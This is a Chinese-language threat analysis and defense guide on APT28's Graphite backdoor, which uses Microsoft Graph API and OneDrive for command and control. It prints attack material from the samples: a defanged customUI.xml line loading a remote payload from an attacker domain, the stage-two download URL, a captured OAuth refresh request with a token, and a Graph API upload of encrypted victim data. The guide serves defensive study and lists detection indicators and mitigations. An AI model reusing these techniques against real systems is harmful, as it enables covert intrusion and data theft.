APT28后门武器Graphite利用Graph API将Microsoft OneDrive做为C&C通信,载荷执行链路及样本逆向分析
字数 1954 2025-08-04 22:51:48
APT28后门武器Graphite技术分析与防御指南
1. 概述
Graphite是APT28组织使用的一种高级后门武器,其创新性地利用Microsoft Graph API将OneDrive作为命令与控制(C&C)服务器。这种技术自2021年12月曝光后,已被多个攻击组织采用。
2. 技术背景
2.1 APT28组织
- 据信具有俄罗斯国家背景
- 以使用高级持久威胁(APT)技术著称
2.2 Microsoft Graph API
- RESTful API,用于访问Microsoft 365服务和数据
- 使用OAuth 2.0进行访问控制
- 提供统一接口访问Outlook、OneDrive、Word等Microsoft 365服务
3. 攻击链分析
3.1 第一阶段:Excel下载器
- 文件名: parliament.xlsx
- 传播方式: 钓鱼邮件附件
- 利用漏洞: CVE-2021-40444 (MSHTML远程代码执行漏洞)
- 技术细节:
- 包含customUI.xml文件
- 通过CustomUI.OnLoad属性从远程服务器加载外部文件
- 示例恶意代码:
<customUI xmlns="hxxp://schemas.microsoft.com/office/2006/01/customui" onLoad='hxxps://wordkeyvpload.net/keys/parliament_rew.xls!123'></customUI> - 下载第二个Excel文件(parliament.xls)
- 通过OLE对象结构触发CVE-2021-40444漏洞
- 自动下载HTML文件并由IE浏览器解析
3.2 第二阶段:DLL下载器
- 文件类型: CAB文件(解压后为DLL)
- 原始文件名: fontsubc.dll
- 关键功能:
- 导出函数"CPlApplet"负责下载下一阶段载荷
- 下载URL: hxxps://wordkeyvpload.net/keys/update[.]dat
- 使用COM对象和URLOpenBlockingStreamW API获取数据
- 解密流程:
- 使用异或解密的RSA公钥解密数据
- 计算SHA-256与内置值比对
- 检查前四个字节是否为DE 47 AC 45
- 内存加载执行下一阶段载荷
3.3 第三阶段:Graphite核心后门
3.3.1 初始化
- 原始文件名: dfsvc.dll
- 互斥体: "250gHJAWUI289382s3h3Uasuh289di"
- 字符串解密: 使用异或解密关键字符串、API和DLL名称
- 唯一标识符:
- 获取注册表值: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
- 计算CRC32校验和作为感染标识
3.3.2 Microsoft Graph API认证
- 令牌刷新请求:
- 间隔: 每20分钟
- 请求示例:
POST /common/oauth2/v2.0/token host: login.microsoftonline.com Content-Type: application/x-www-form-urlencoded user-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E) client_id=cac91e80-89c4-4137-bc29-eafcaf96ab08& redirect_uri=urn:ietf:wg:oauth:2.0:oob& refresh_token=M.R3_BL2.-CfQfMN72qX2snnAERbQjyOdyVcyFQugwm3v9uzpDpHgvDoR3FUME9D4cg2pesUvAftViUGHkKqDEe5ABgvUnlV5cnrFIYBq7aXnfuQiLJKS6kUcQOklSnmvVvpTZrhRnjueM!A6q2mjuUqNnPb0hBRBeFTT1GZQvZAGS1ogckcemSv!I!BRf*s!rSncQhxpOsNUy6jyxn!ASsftdI4x1mzegRIK6kZlVwJpw!ZSF06aE2ZxRbGfZoxx2m!LsV*41reQ!j6oDxkyLj0oOdH734tTxuwEKvm5vEL8mzxyV*nWTDTAPvl4BnjcRf7BsZU6v32kcatxeVfIeXf73bahwsoU$& grant_type=refresh_token
3.3.3 信息收集与上传
- 收集信息:
- 进程信息
- .NET CLR版本
- 操作系统版本
- 数据处理:
- 使用COMPRESSION_FORMAT_LZNT1算法压缩
- AES-256-CBC加密(内置key,随机iv)
- 上传请求:
PUT /v1.0/drive/root:/603204205/update/sfCDpbhj0tp8BkI6Z665:/content host: graph.microsoft.com Content-Type: application/octet-stream Authorization: bearer <访问令牌> <主体中包含密文数据>
3.3.4 命令检索与执行
- 命令检索:
- 枚举OneDrive的"check"子目录
- 下载新文件内容并解密
- 指令集:
- 指令1(0x01): 再次发送系统信息
- 指令2(0x02): 解密并执行新shellcode
- 校验第三块hex值是否为DE47AC45
- 使用响应数据的第8和第12个双字字段解密
- 创建线程执行shellcode
4. 防御建议
4.1 预防措施
-
补丁管理:
- 及时修复CVE-2021-40444等已知漏洞
- 保持Office套件和Windows系统更新
-
邮件安全:
- 教育用户识别钓鱼邮件
- 部署高级邮件过滤解决方案
-
应用控制:
- 限制Office宏执行
- 实施应用程序白名单
4.2 检测措施
-
网络监控:
- 监控异常Graph API请求
- 检测到login.microsoftonline.com的频繁令牌刷新
-
主机监控:
- 监控可疑进程行为(如内存加载DLL)
- 检测互斥体"250gHJAWUI289382s3h3Uasuh289di"
-
日志分析:
- 分析Office应用程序日志中的异常行为
- 监控注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid的访问
4.3 响应措施
- 隔离受影响系统
- 重置所有相关凭证
- 审查OneDrive活动日志
- 全面扫描系统查找持久化机制
5. 技术总结
Graphite后门展示了高级攻击者的创新技术:
- 利用合法云服务(OneDrive)作为C&C,提高隐蔽性
- 多阶段载荷设计,增加分析难度
- 使用OAuth 2.0和标准API,规避传统网络检测
- 内存驻留技术,减少文件落地痕迹
防御此类攻击需要多层安全策略,重点关注异常API使用模式、内存攻击检测和云服务活动监控。